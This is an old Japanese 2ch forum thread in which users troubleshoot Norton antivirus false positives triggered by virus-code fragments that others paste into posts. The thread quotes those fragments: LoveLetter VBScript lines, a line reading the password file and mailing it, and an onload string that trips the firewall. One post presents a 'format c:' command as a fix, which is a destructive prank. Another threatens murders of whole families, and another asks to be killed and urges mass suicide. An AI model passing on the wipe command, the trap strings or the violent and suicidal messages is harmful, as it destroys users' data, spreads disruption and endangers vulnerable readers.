（2ちゃんねるブラウザによっては画像サムネイル機能が働いて画像ファイルに偽装されたウイルスに反応することがあります。・・・正常な反応です。）

リンクを不用意に踏まないことも肝心です。
>>4
尚、ここはウイルス鑑定スレではありません。
危ないと思ったURLはラウンジ板等の”勇気が無くて見られない画像解説スレ”で診てもらいましょう。
http://find.2ch.net/?STR=%CD%A6%B5%A4%A4%AC%CC%B5%A4%AF%A4%C6+%B2%F2%C0%E2%A5%B9%A5%EC&COUNT=50&TYPE=TITLE&BBS=ALL

ひろゆきは2ch総合案内に対処法載せてくれないの？
初心者はこんな所見ないと思うのだが…

>>192
そんなこと書かなくても、根本的に対策できるのに3年以上放置。
ノートンも放置。
そんなもんさ。

サイトの問題ではなくて、ノートンとそのユーザーの問題だからでしょ。
どうしても見て欲しい、書き込みして欲しいと思えばそういうこともするだろうけど、
めんどくさいから、対策できない人は切捨てって考えてるんでしょ。

ニュース速報みてたらノートン先生が激怒しました！今、スキャン中何かすごい不安

年取ると怒りっぽくなるよね

ﾊｧ？

まぁ今危ぶまれている年間自殺者３万人なんていうのもさぁ
何だかんだ言ってお友達と楽しく戯れていた全共闘世代のジジイがほとんどで
そんな奴らのノスタルジーとニートの絶望的な孤独を一緒にされちゃあかなわないよね。

まぁ政府も腹の底じゃあ、このままズルズルと大人になって勝手に死んでくれりゃあ本望
とか思ってるだろうケドさあ、俺達には一人一人明確な敵がいるんだよね。
原因があっての結果。
勉強しなきゃ立派な大人になれませんよなんて乳幼児でも知ってることを
やらなかったらこうなった、なんて言い切れるほど楽天家じゃないんだよね。

アホみたいな受験戦争、家畜のような体罰教育、友達からの陰湿なイジメ、見知らぬ大人のいやがらせ

バブル期に子供にだけ苦労させて親やセンセや同級生は泡まみれで遊び放題。
敷かれたレールの先に娯楽があると鞭打たれ、苦難を乗り越えたどり着いたら就職難。
ゴミのように切り捨てられていく俺らの１０代、２０代。
いつの間にか自分より馬鹿が出世して、自分よりブサイクが結婚し、自分より足の遅いヤツがオリンピックに出ている。

両親を恨む者、先生の居所を探す者、同僚の近況を探る者、誰でもいいから殺してやりたいと思っている者
そんなヤツらがじっと己の部屋で計画を練っている。
まぁはっきり言わせてもらえば、あんたら、幸せ家族を気取っているのも今のうちだね。

鬱ブームだかなんだか知らないが、テレビ一つ落ち着いて見られなかったような俺らに
勝者、敗者とか貧乏さん番組なんてメディア戦略は通用しないね。

殺されるまえに、必ず殺す。
そう、この先10年。
被害者の過去2-30年を遡らないと犯人が割り出せない
そんな一家まるごと惨殺事件が続くだろうね・・

age

>>192
ひろゆきは初心者大嫌い
ひっかかって嘆くユーザーをみてニヤニヤしてます
それが嫌なら来るなって考え

先生が反応しBloodhound.Exploit.6が出現！
みなさんどう？

age

>>201
前にそれありましたけど。（当方Jane Doe Style)
反応した部分の過去ログ捨てたら何も問題なかったですよ。

>>201
それはログのウイルスコードに反応してるだけだからむっしっし

age

そうそう。
>>17のソフトをアップデートしたので、よかったらダウンロード
してくださいです。
http://www.geocities.jp/cen_hp/index.html

>>207
ウィルス注意！！

>>207
見損ないました

ノートン先生がunix.Penguinに誤反応してしまって
今のとこ解決策はないんでしょうか？
ノートン先生捨ててバスターに変えても問題ない？
XPはノートン先生入れとかないとまずいみたいなこと聞いたんだが・・

>>208-209
どういうこと？新verにウィルスが入ってたの？

>>207
コレはジョーダンのつもり？シャレんなんないでしょ

c.Copy(dirsystem&"LOVE-LETTER-FOR-YOU.TXT.vbs

>>211
ただの叩き

age

ペンギンウイルスは無害？

移動してきました、度々すいません。半角文字列板のスレを開いたらウイルス警告が出ました。
環境はノートンです。
ｽｷｬﾝ後も感染を修復することはできませんでした。
ウイルス名：Bloodhound.Exploit.6

誘導されてこちらにきました。
初心者で何をしたらいいかわかりません・・このスレにウイルスがいるのでしょうか？
ご教授お願いします・・

追記
発生源　C:\Documents and Settings\Owner\デスクトップ\Jane\Logs\2ch\大人の時間\半角文字列\1120269811.dat

です。誤報なのでしょうか？修復できないので不安です・・

>>218
少しはスレを読め

すいません読み返しました。
・・一応反応のあったログを削除後ログファイルを除外指定しました。

除外しましたが、
ログファイルの中には数々のフォルダがありました。ログ自体、感染はあり得ないのでしょうか？
有り得ないから除外するのだと思いますが、念のためお聞きしました

>>220
有り得ない。
ノートンの手抜きチェックが悪い。

わかりました。ありがとう御座います。

あと、ログフォルダの中のログファイルでした。訂正します。すいません

Bloodhound.Exploit.6ってのが頻繁に検出される。
これはに関しては誤作動ではないんだよな？

みんな　どんどんウイルシに感染してるよ

考えるんじゃなくて感じて

警告ｷﾀ━━━━━━(ﾟ∀ﾟ)━━━━━━ !!

a

>>217
おいらも同様の症状なのですが、どうなんでしょうか？

>>229
ただの誤検出

Bloodhound俺もｷﾀよ。実況板で。

シマンテックのオンラインスキャンをすると、
2chブラウザのdatファイルからウィルス反応しまくりなんですが、
この手の反応は全て誤反応と解釈してよろしいですか？

そうそう。
>>17のソフトをアップデートしましたので、よかったら
ダウンロードをしてくださいです。
http://www.geocities.jp/cen_hp/index.html

>>232
それでいいと思います。

>>234
ありがとう。安心した

安心した

それでいいのか？・・・・・ほんとにだいじょぶ？

パソコン初心者総合質問スレッド　vol.1072
http://pc8.2ch.net/test/read.cgi/pcqa/1120581493/

399 名前：299[] 投稿日：2005/07/06(水) 21:47:49 ID:YFmNomOu
★症状： 以前までは出来ていた、PCでのDVD-Video再生が出来なくなった。
★試したソフト： Media Player Classic , Mediaunite , Windows Media Player 10
★関係有りそうな出来事： DirectShow Filterに「GPL MPEG-1/2 Decoder」を追加した。

何方か原因解りませんか？
せめてハードかソフト、どちらに原因がありそうかだけでも解れば幸いです。

405 名前：ひよこ名無しさん[sage] 投稿日：2005/07/06(水) 21:50:29 ID:???
>>399
ハードかソフトに原因

408 名前：cen ◆Pm9xOTJuM. [sage] 投稿日：2005/07/06(水) 21:52:09 ID:??? ?##
>>405
あと人間

411 名前：ひよこ名無しさん[sage] 投稿日：2005/07/06(水) 21:53:30 ID:???
>>408
暴言ﾋﾄﾞｽｗ

cenも人間

　初心者の質問のところから誘導されてきました。以下にそのままコピペします。


　windowsXPのhome editionで、Internet Exproler6、更新バージョンはSP2です。
よろしくお願いします。

　ノートンのアンチウィルスが「Unix Penguin」というウィルスを検知しました。
場所がインターネット一時ファイルのようだったので、「インターネットオプション
→ファイルの削除」をしました。

　すると、なぜか｢お気に入り｣が消えてしまったのです。

　誤って自分で消してしまったのだろうと言われたのでそうかと思い、もう一度
覚えている限り戻そうとしたら「入力したショートカットの名前は既にお気に入り
メニューに存在します。置き換えますか？」と出ます。それで置き換えても
表示されません。新たにショートカットの名前を変えて登録すれば表示される
のですが……。

　私の「お気に入り」の中には、表示されるものと表示されないものが両方
存在しています。表示されないものを再び表示する、または消し去ることは
できないでしょうか。消し去れれば、また再び作り直そうと思いますが…。

>>240
誘導してない。
少しはログ読め。

>>240
　ああほんとだ！
　すみません、慌ててました……

>>241
　でも、表示のみ消えた「お気に入り」については、どこかに書いてありますか？

　ノートンとは関係ないのかもしれないですが…。

>>243
関係ない。
インターネットオプション→詳細設定→使用してないフォルダは閉じる

　ありがとうございます。
　やってみましたが、駄目でした。

　そもそも「お気に入り」の星マークのアイコンが、見当たりません。favorite
の中もカラになっています。私はなんだか変なことをしてしまったみたいですね。

　もうちょっといじってみることにします。。失礼しました。

ノートンアンチウィルス2005、open jane Doe 0.1.12.2 を使っています。
該当スレのログを除外しようとしたのですが、スレッドのidxはあるのですが、datがそのスレッドに限って見つからず、改善できません。
スレッドは
http://society3.2ch.net/test/read.cgi/koumei/1121522102/11
このメール欄にウィルスコードが貼ってあるのです。
対処の方法を御教示願います。

すみません、自己解決しました。
スルーしてください。

age

Bloodhound流行ってんの？

よく分からんけど、結局、感染してたとしても放っときゃいいんだろ？

ﾊｧ?

>>252
そういうことだな。

うちのノートン2004、除外の設定するときフォルダ検索をしないとできない。
IEのを手書きで入力したけどやっぱり反応した。
c:\program files\musicjg2ch\log
c:\program files\musicjg2ch\temp.htm
これを入れてもダメだった。
ｷﾞｺﾅﾋﾞなら除外の設定はすんなりいったんだけどな…。

fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))

ms-its:mhtml:file://c:\　cat /etc/passwd | mail nobody　kak.hta';ken=wd+'START

んなもん貼っても反応しねーよ
真に受けやがってカスがｗ

>>257
他のスレでこういうのが貼ってあり、かちゅを閉じたら
ＩＥが全く見られなくなってしまいました

>>10をやってみたのですが、やっぱり見れない
今生きてるのはかちゅだけです。助けてください

>>259
ノートンが原因だったら以下コピペ
2003/2004（2005もこれだと思う）

Norton Internet Security もしくは Norton Personal Firewall を起動する。
画面中央の [ファイアウォール] をクリックする。
右下に表示される [設定] ボタンをクリックする。
[プログラム制御] タブをクリックする。
[追加] ボタンをクリックする。
「プログラムの選択」ウィンドウが開きます。
Internet Explorer フォルダを開く。
Internet Explorer フォルダは今回の例の場合です。
お客様が設定を行いたいアプリケーションがインストールされているフォルダを開いてください。
IEXPLORE.EXE をクリックして選択する。
IEXPLORE.EXE は今回の例の場合です。
お客様が設定を行いたいアプリケーションを選択してください。
[開く] ボタンをクリックする。
例としてご案内している Internet Explorer を含め、設定がすでに作成されているアプリケーションの場合は「すでにルールがあるプログラムを追加しようとしています」というメッセージが表示されますが、まだ設定されていないアプリケーションの場合は表示されません。
「プログラム制御」のウィンドウが表示されるので、「どう処理しますか？」の部分で [許可] もしくは [遮断] などを選択して、[OK] ボタンをクリックする。
「アプリケーションカテゴリの選択」ウィンドウが表示されるので、そのアプリケーションをどのカテゴリとして分類するかどうかを選択し、[OK] ボタンをクリックする。

2002
NISをたちあげ、ﾌｧｲｱｳｫｰﾙ→ｲﾝﾀｰﾈｯﾄｱｸｾｽ制御(ｱﾌﾟﾘｹｰｼｮﾝ制御の一覧)で設定が変えられます

IE5の修復は以下コピペ

1. [スタート]−[設定]−[コントロールパネル] から「アプリケーションの追加と削除」を起動します。
2. [インストールと削除] タブをクリックし、「Microsoft Internet Explore 5 とインターネットツール」をクリックします。
3. 「追加と削除」ボタンをクリックし、表示されるメニューから「Internet Explore を修復する」を選択して「OK」をクリックします。


XPならシステムの復元

http://web.archive.org/web/20020202012223/http://www.top.or.jp/~godhand/a2.html

保守

このスレ、全く見えない！

a

sage

ms-its:mhtml:file://c:\

sage

te

保守

保守sage保守age

ノートンアンインストールしてウィルスバスター入れました
おかげでこのスレも見れるようになりました

保守

そうそう。
>>17 のソフトですが、シリア語ブラクラにも対応しました。
あと、何日前以降に更新されたファイルのみ検索の設定ができるように
なりましたです。
http://www.geocities.jp/cen_hp/index.html

>>273
いつも乙です。

>>271
単にウイルス検出対象ファイルからhtm、html、datを外せば済むことなのに…
まあ少しでもお金使って貰わないとカネの巡りが悪くなるからな。

って、htmとhtmlは外すとまずいのか。
けど通常のインターネットブラウザで2chしてる時点で（ｒｙ

>>273
乙です。
壺のdatファイルなんですが、ノートンで誤反応のファイルが見つかったのに
vicptdel.exeで検索したら０個だったんですがまだ対応されてないだけでしょうか？
VBS.LoveLetter.Varとでてましたが。

>>277
どうもです。
今のところ、壺のdatファイルには対応しておりません。
対応しているのは、2chに直接置いてあるdatだけです。
この板なら、http://pc8.2ch.net/pcqa/dat/xxxxxxxxx.dat のような
datファイルのみです。
壺のdatファイルは構造が違うので、datファイルの構造のチェックで
弾いてしまう仕組みになっています。

良スレあげ

>>278
分かりました。素早いレスどうもありがとう。

このスレ開いたらノートンが反応するんだけどどうすればいいですか？
ブラウザはopen janeです。

>>281
見なきゃええやん

>>281
俺はな、このスレを最初から読んで欲しくて誘導したんだ
過去レスを一切読まずに質問するな

>>282-283
がんばって勉強する。

Open Jane Doe α 0.1.12.2です

Nortonが誤反応する人へ対処法
１．NortonInternetSecurityを起動
２．オプション→NortonAntiVirusをクリック
３．左側のシステム＞Auto-Protectをクリック
４．除外→新規をクリック
５．２ｃｈ専用ブラウザのフォルダを指定する

設定して試してみたらまた反応してしまいました

Norton AntiVirus Auto-Protect

ファイル C:\...orary Internet
Files\Content.IE5CLIVSTUF\subback[32].html を修復できません。
このファイルは Unix.Penｇuin ウイルスにまだ感染しています。

どうしたらいいのですか？教えて下さい

NIS2004/2003はNorton AntiVirusのオプションで手動スキャンと
Auto-Protectでそれぞれ除外の指定
ノートン2005なのでそれぞれ除外しても駄目でした

一時ファイルを削除する模様
これもやってみたけど駄目でした

他に方法はないでしょうか？教えて下さい

>>285-286
> Norton AntiVirus Auto-Protect
> ファイル C:\...orary Internet
> Files\Content.IE5CLIVSTUF\subback[32].html を修復できません。
> このファイルは Unix.Penｇuin ウイルスにまだ感染しています。

IEのキャッシュですね。
>>286で一時ファイルを削除しても反応するのは
IEでまた該当スレを開いたのではないのでしょうか。

ノートントラップの回避方法は2ちゃんねるブラウザで>>1の設定をして
2ちゃんねるをみてください。
Janeの設定も今一度確認してください。

>>109
テスト

ギコナビ使ってます。ノートンが反応してから見れないスレなどあります。
>>10にある方法で解決するんだと思うのですが、
除外してしまって問題あることはないですか？
画像のプレビューとか出ますけど、そういうのに何かまずいものがあったとき困るとか・・。
まったく見当違いな心配かもしれませんが、
よくわからないので教えてください。

>>289
IEエンジン使ってないJane DOE系の2chブラウザにしろよ
画像に何か仕込んでどうこうってのはIEの脆弱性を狙うから

>>289
非IE系専ブラのログなら除外しても問題ない。
ギコは知らん。
IEがトラブっても使える非IE系のほうが何かと便利。

>>290-291
ありがとうございます。他の専ブラ検討してみます。

>>292　
名前で拒否する方もいますが、Nidaも安定していて便利ですよ。

JaneNida　Part4
http://pc7.2ch.net/test/read.cgi/software/1122995598/

>>289
ギコナビで画像プレビューした場合、画像はIEのキャッシュのほうに保存される。
なのでログフォルダを除外してしまってもその点で問題あることはない。

物凄い今更でどうでもいいけど気になったので。
>>51間違ってるじゃないか
C\ProgramFiles\Live2ch\log→C:\Program Files\Live2ch\log
「:」と「 」が足りない。

うまくいかないケースの原因はたいがいそんなもんだ

lm

来てやったぜ、

>1〜10を読んでノートンの除外設定をしようとしているのですが、
2chブラウザのログ保存フォルダがどれのことか分かりません
ギコナビ使ってます。おしえてください

>>299
http://ansitu.xrea.jp/guidance/?NortonInternetSecurity#faq08
http://ansitu.xrea.jp/guidance/?Trap#NortonTrap
以下を一行ずつコピー、除外項目でCtrl+V

C:\Program Files\gikoNavi\Log
C:\Program Files\gikoNavi\config\History.xml
C:\Program Files\gikoNavi\config\Favorite.xml
C:\Program Files\gikoNavi\sent.ini

より詳しい除外項目はこちらで今一度確認してください。
２ちゃんねる用ブラウザ「ギコナビ」 Part31
http://pc7.2ch.net/test/read.cgi/software/1124859118/1-12
（テンプレと直近50スレは読んでね）

fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

本当にひどいですね。まだ、あざむいて謀略するんですね

いいかげん、やめてもらえないですかね。

やめることができないのなら、あなたのおもちゃでは、ないので

第六感が無い人「仔（赤ちゃん）」を、始末、処分、してもらえないですかね

あなたが第六感が無い人「仔（赤ちゃん）」をあざむいて謀略している首謀者ですか

ここまで第六感が無い人「仔（赤ちゃん）」をいじめて、あざむいて謀略して楽しいですか

ここまでされてこのまま生きていくのもいやですから

第六感が無い人「仔（赤ちゃん）」を、始末、処分、してもらえないですかね

ここまであざむいて謀略してきた責任取って

いいかげん、いっこくも早く、ころしてくださいよ

よろしくお願いいたします。

人類と違う第六感が無い人の事が、仔（赤ちゃん）
何故か年老いた男女も中年の男女成人式迎えた男女も

第六感が無いと仔（赤ちゃん）と呼ばれるらしい

欺く（あざむく）の意味は
相手を信頼させておいてだます事
まあ要するに相手という所が仔になるんでしょうね

そうかだから第六感が無い人「仔（赤ちゃん）」たちの
一挙一動を第六感でお前は把握してるのに

第六感が無い人「仔（赤ちゃん）」たちを

信頼させておいてだましてるんだな

世界中の第六感が無い人「仔（赤ちゃん）」たちよ


人類にあざむかれるなよ！！！！！！！


そして世界中の第六感が無い人「仔（赤ちゃん）」たちよ
これが真実ならいっしょに死のう。

■参考までに。全て無料。

・ブラウザ：Firefox http://www.mozilla-japan.org/products/firefox/
　（Firefox定番拡張 http://firefox.geckodev.org/index.php?%C4%EA%C8%D6%B3%C8%C4%A5）
・2chブラウザ：JaneStyle http://janestyle.s11.xrea.com/
・メーラー：Thunderbird http://www.mozilla-japan.org/products/thunderbird/
・オフィス：OpenOffice http://ja.openoffice.org/
・スパイウェア対策：Spybot http://enchanting.cside.com/security/spybot1.html
・ウィルス対策：avast! http://www.forest.impress.co.jp/lib/inet/security/antivirus/avast.html
・パーソナルファイアウォール：ZoneAlarm http://www.zonelabs.com/store/content/company/products/znalm/freeDownload.jsp?dc=90dia&ctry=JP&lang=ja

http://news19.2ch.net/test/read.cgi/news/1128874250/
これ↑ってウイルスですか？
開いたらノートン先生が反応したんですけどつД｀)　
Mac OS10.3 IEmac5.2 です
検疫に引っかかったファイルがあり状態は感染でした

>>306
レスの中にウィルスのような動作をするスクリプトの一部が含まれています。
あくまで一部ですし、Windows向けに作成されたものだし、スクリプトを実行する現実的な方法も
存在しないので、被害を受けることは絶対にありません。
このように危険のない対象までウィルスとして感染警告するのはノートンの仕様です。
そういったノートンの挙動を悪用した悪戯なので気にしないでください。
詳しくはこのスレの>>1-10あたりをよく読んでください。

ちなみにこのスレを読み込んだときもノートンが反応すると思います。

>>307
ありがとうございました！安心しました。

ms-its:mhtml:file://c:\

質問です。
某板のスレを開こうとすると、ノートン先生が「ウィルスを検出しました！」と
大騒ぎするので、>7に従ってログフォルダを除外したのですがいまいち不安です。

専ブラはA Boneを使用。
検出されたウィルス名：Bloodhound.Exploit.6
感染ファイルはInternet Temporary Filesのものではなかったのですが（←これが不安の元なのです）、
これは専ブラを使用しているからでしょうか？
念のため、シマンテックのHPに載っている対策に従って、
セーフモードでレジストリをチェックしてみたのですが、書き換えられた様子はありませんでした。

質問age!

>>310
専ブラはIEとは違い、自分自身のログフォルダに2chのレスを保存します。
A Boneのログフォルダで「感染ファイル」が発見されたのなら全く正常で、何の心配もありません。
2chのレスにウィルスのソースコードが書き込まれていても、それを実行する方法はないので、
感染することはありません。

>312
ありがとうございます。安心しました。

2ちゃんブラウザをダウンロードしてボードの一覧を取りにいったら、
警告がでました。
対処の選択肢が提示されたので推奨のものを選んだらボード一覧を取得できませんでした。
再度選び直そうと思って、新たに2ちゃんブラウザを落としたのですが、
先ほどの選択肢が出なくなり、またもやボード一覧は取得できないまま…。
この場合はどう対処すれば良いのでしょうか？

http://plaza.rakuten.co.jp/takamoriyo/
このサイトのランキングを押そう！！
そしてランキング一位にさせよう！！！！

>>314
ファイアウォールの通信制御設定を探して、2ch専用ブラウザの通信を許可してください。

わからなければ、セキュリティ対策ソフト(ファイアウォールやアンチウィルス)の製品名とバージョン、
2ch専用ブラウザの名前を書いてください。

>>316
設定のところを見てみましたが、どう設定していいのか分かりませんでした…
ソフトはノートン2005です
2ちゃんブラウザはjane styleです

>>317
このページを見てください。
http://service1.symantec.com/SUPPORT/INTER/nisjapanesekb.nsf/jp_docid/20041007161706947
「3. プログラム制御の設定を確認する」の左の[+]をクリックして表示される説明をよく読んでください。
[手動プログラム制御] の一覧からjaneと思しきものを探し「すべてを許可」に設定してください。

>>318
ありがとうございました！！
無事に一覧取得できました！
本当にありがとうございます！！

教えて下さい
壺使用の場合、除外はC:\Program Files\2chtubo\log
でいいんですか？

�@スタート(タスクバーの左端にあるボタン)
�Aすべてのプログラム
�Bアクセサリ
�CDOSプロンプト（コマンドプロンプト）を起動
�Dformat c:と入力
�EEnter
�F再起動
�Gﾋｬｯﾎｳ

これでおｋ

　実行する際にはあくまで自己責任にてお願い致します。

>>320
お願いします

>>320
http://makimo.to/2ch/pc2_software/1060/1060103207.html#11
仕様が大きく変わってない限りそれでいいと思います。
壷のログフォルダの確認はこちらで聞いてください。
【高速?】２ちゃんねるターボ　10壷目
http://pc7.2ch.net/test/read.cgi/software/1125562891/

>>323
ありがとうございます
それでやってみます

あげ

>>321
おぃおぃ...

>>321
よし試してみよう
ヒャッホウ！

Norton Anti Virusのオプション
手動スキャンとAuto-Protectで2ｃｈのログを除外指定したのですが
オプション→脅威カテゴリ→除外って所は関係ないのでしょうか？

>>328
そこはスパイウェアやアドウェアの検出に関する設定なので、2chのログには関係ない。

>>329
サンクス！

NIS2005を使用しています
Opera8.5で>>2にあるテスト用のhttp://www.eicar.org/download/eicar.com.txtを踏んでみたのですがNAVが反応しません。
これはAutoProtectが正常に働いていないということなのでしょうか。
試しにローカルにDLしてみてスキャンをかけてみると、ウィルスだと反応して削除します。

>>331ですが、解決できました。
「オプション」→「NortonAntiVirus」→「AutoProtect」にて、
「SmartScanを使ってファイルをスキャン」にチェックが入っていたのを「完全ファイルスキャン」に変更したら反応しました。
拡張子.txtがAutoProtectの対象になってなかったってことなんですね……。失礼しました。

反応しちゃった場合は放置しといても大丈夫なの？

勝手に修復したり隔離したりする設定になってると、困ることもある。特に2ch専用ブラウザ使ってる場合。

これか
cat /etc/passwd | mail nobody

何もノートンが誤反応しているわけではありません。
VBScriptやJavaScriptの拡張子のファイルに反応すべきなのを、
どの拡張子にでも誇大反応するだけです。
WindowsUpdateは、常に最新の状態に心がける事。
SunのJavaをインストールしている人は、これも最新版に更新しておく事。
RealPlayerやAdobe Readerなども最新にしておかないと、ウィルスに感染しますよ。

これらを心がけて最新状態にしてあれば、ウィルス反応があってもシステムにはもう感染はしません。
過去のWindowsのセキュリティホールを攻撃するアクティブスクリプトに反応しているだけですから、無視して結構です。
ページをプレビューしただけで反応するようなウィルスは、ほとんど全部がもはや検出する必要がないものです。
セキュリティベンダーなどに騙されてはいけませんよ。

cenの部屋の管理人さんへ、
誤反応スクリプト無効化ソフト　vicptdel　ですが、
VBS Freelink.Bにも対応してもらえないでしょうか？
またサイトトップには、updateの表示だけでなく、update日付やVerも
記載していただけたら嬉しいです。ご検討よろしくお願いします。

cenの部屋
http://www.geocities.jp/cen_hp/

ラウンジ開いたらブラッドハウンドに感染したみたいなんですが解決法がいまいちよく解りません…

Vipのｽﾚ一覧でも反応するっぽいけど誤検出なんだろねえ…

うん

Bloodhound.Exploit.6ってなんてコードで引っ掛かってるですか？
ＮＧワード指定したいんで教えてください

専用ブラウザでNGワード指定しても2chの鯖から取得して保存されるデータは同じなので無意味。
Proxomitronとかでフィルタリングするなら別だが。
それより素直にノートンの除外設定すべき。

>>337
ご意見ありがとうです。
VBS.Freelink.Bですが、パターンは１つですが対応はしていますよ。
対応していないパターンかもしれないので、もしよかったら誤反応した
スレを教えて頂けないでしょうか。
そうですね。日付とバージョンはまた書いときますです。

ほう

>>343
Winny一般コミック part144
http://tmp4.2ch.net/test/read.cgi/download/1110070134/5
上記のレスです。
dat落ちしてますので、以下を参照してください。
http://makimo.to/2ch/tmp4_download/1110/1110070134.html

>>345
見てみました。そこの>>5からdatファイルを作って試しましたが、
無効化して、ウイルス対策ソフトでスキャンしても反応しませんでした
よ。
あと、このソフトで対応しているのは、2chにあるdatファイルのみです。
例：http://pc7.2ch.net/pcqa/dat/xxxxxxxxxx.dat
壺のdatやhtmlには対応していないです。

>>17 のソフトの紹介ページを更新しましたです。
http://www.geocities.jp/cen_hp/program3.html

ウィルスが検出されんだけどどうすりゃいいの？

恐れず全力で戦え

保守

http://game10.2ch.net/test/read.cgi/handygame/1133109700/
このスレを読み込もうとすると、ノートン先生が
206.223.150.115からのアタックを検出して
途中までしか読み込めなくなります。
手動スキャンとAuto-Protectでlogフォルダの
除外の設定はしたんだけどまだダメっぽい。
OSはWinXP, ノートン先生はNAV2003, 専ブラはLive2chです。
たっけてー。

<body onload=window()>

>>351
NAVですか？　インターネットセキュリティじゃなくて？

スレみたら、Nortonスレで昨日話題になったonloadなんちゃらのトラップを確認しました。
これはフォルダの除外設定では対応できなかったと思います。
NIS使ってるなら、NISを無効にして再取得を。

>>352
あーバカが貼りやがったよorz

>>353
あ、NISでした。勘違いsorry。
無効→再取得してトラップっぽいレス（>>499と>>543）
2個あぼ〜んにしました。
これだけで問題ないですか？

>>354
あぼーんの意味はありません。一度取得すれば問題ありません。
ただし、新規に貼られたら、NGワードに指定してあぼーん（または透明あぼーん）しても引っかかります。
現状での対処法としては

○引っかかったときにNISを切って再取得をする対処療法
○侵入検知の設定で、AutoBlockの除外項目に2chの鯖を登録する（穴をあけることになるので微妙ですが）

くらいでしょうか。
Jane系なら、問題の文字列を別の文字列に置き換えればおｋ、という案もNortonスレで出てましたが
Live2chでそれをやるのはちょっと手間なようです。
Live2chのスレでも少し話題になってますので、そちらも追っておくことをお勧めします。

>>355
ご丁寧にどうもありがとうございます。
一度取得してしまえばそれでオワリなんですね。
Live2chのスレ探して見てみます。

>>355
＞Jane系なら、問題の文字列を別の文字列に置き換えればおｋ、という案もNortonスレで出てましたが

誘導もしくは詳しくお願いします。

>>357
<ここ数日2chを騒がせている侵入検知トラップの対策法>
症状：
Norton Internet Securityを使用している人で、特定の文字列を書かれると侵入検知が多発し
最短30分間そのアドレスがNISにより規制されるためログが読めなくなる。

対策：上に行くほどおすすめ
�@Jane系の専用ブラウザ使ってる場合
JaneフォルダにReplaceStr.txtというテキストファイルを作り
onload＝[Tab]onload＝
みたいに置き換えればOK（↑の”[Tab]”はタブ入力）
Tabキーを押すのを忘れて[Tab]onloadとそのまま書いてはダメ

�AReplace法が使えない場合(他の専用ブラウザ、IEなど)
Nortonの統計ログの侵入検知の項目を見て、ブロックされているサーバ名を確認(例:tmp5.2ch.net)
侵入検知の設定で除外に上で確認したサーバ名を入れる
ただしこの方法は穴を作ることになるのであまりおすすめではない

�Bよくわかんね、って人
読み書きするときに「Norton Internet Securityを無効にする」を選んで一時的にNISを切る。
このときAuto-Protectを切っても無意味なので注意。Auto-ProtectはAntivirusなので。

ガセビアの沼
・Love-letterと同じVB使った疑似ウイルスだからNAVの除外設定に専用ブラウザのログフォルダを入れてやればいい、というのはガセ
　今回のはNAVではなくNIS管轄のトラップです

Nortonスレはこちら。
ただし、問題の起こる文字列が貼られているので、読み込むときには上記対策のいずれかを行ってください。
【ﾉｰﾄﾝ】ｲﾝﾀｰﾈｯﾄｾｷｭﾘﾃｨ Ver.77【2006】
http://pc8.2ch.net/test/read.cgi/sec/1132279196/

(笑)

http://www.computerterrorism.com/research/ie/poc.htm#
http://www.computerterrorism.com/research/ie/fillmem.htm
http://www.computerterrorism.com/research/ie/bug.htm

>>358
それガセらしいじゃないか・・・
｡ﾟ(ﾟ´Д｀ﾟ)゜｡ｳｧｧｧﾝ

>>361
あーはいはい。

1. [ファイアウォール]をダブルクリック
2. [ネットワーク]をクリック
3. [信頼]をクリック
4. [追加]をクリック
5. [範囲を使う]をチェック
6. 開始アドレスに「206.223.147.0」を入力、終了アドレスに「206.223.154.255」してOKをクリック

http://www.computerterrorism.com/research/ie/poc.htm#
http://www.computerterrorism.com/research/ie/fillmem.htm
http://www.computerterrorism.com/research/ie/bug.htm

ms-its:mhtml:file://c:\

とりあえずKnowledge Base 経由で>>352のソースをﾂﾏﾝﾃｯｸに送って対応を催促しますた。

馬鹿だなノートン。

ノートンの誤作動対策したら、
スクリプトを仕組んでるスレみると、変に改行されてしまう（\r\n\r\n)のはなぜ？

>>367
>>362の設定ですか？
2ちゃんねるブラウザでの不具合は
お使いの2ちゃんねるブラウザのスレで環境を詳しく書いてお聞きください。

>>352について、役に立つかは知らないですが、>>17のソフトにて
対応させてみました。
http://www.geocities.jp/cen_hp/program3.html

【アメリカ】全米各地で中国系中心に「アジア人」生徒へのいじめが増加…問題の根深く
http://news19.2ch.net/test/read.cgi/newsplus/1134279288/

現在、2ちゃんねるではNIS(NPF)のファイアーウォールを誤作動させるコードの書き込みが出回っています。
アンチウイルス(NAV)は反応しないのでファイアーウォールの設定を見直さなければなりませんがあくまで暫定的処置です。

２chNIS問題まとめページ
http://mickey.mirv.net/2chnis.html
ノートン応急対策
http://info.2ch.net/wiki/pukiwiki.php?%CA%E4%C2%AD%A4%C8%CA%E4%B4%B0#Norton_Emergency_measures
http://ansitu.xrea.jp/guidance/?NortonInternetSecurity#Emergency_measures http://ansitu.xrea.jp/guidance/?Trap#Emergency_measures
http://wiki.livedoor.jp/kizyo1234/d/%a5%ce%a1%bc%a5%c8%a5%f3%b4%d8%cf%a2

この場合2ちゃんねるに対してファイアーウォールの機能は働きません。
また、同様なコードが2ちゃんねるではない外部板に貼られていても上記ページのような設定はお勧めしません。
シマンテックの対応待ちです。

アンチウイルス(NAV)の設定は>>1
http://ansitu.xrea.jp/guidance/?Trap#NortonTrap

<body onload=windowあ()>　ms-its:mhtml:fileあ://c:\

↑ひらがな抜いて書き込みすると誤作動します。
誤作動うざい。

doredore,
<body onload=window()>　ms-its:mhtml:file://c:\

てｔ

vicptdelで処理した後、久々にNAVでJaneのlogをスキャンしてみたら、
以下のレスがvicptdelで処理されていなかったらしく、NAVに削除されました。
http://tmp5.2ch.net/test/read.cgi/download/1133670032/11
http://makimo.to/2ch/tmp5_download/1133/1133670032.html#11

cenさんもしよろしければ、対応お願いします。

またスレタイがウィルスコードだったのか分かりませんが、subject.txtに
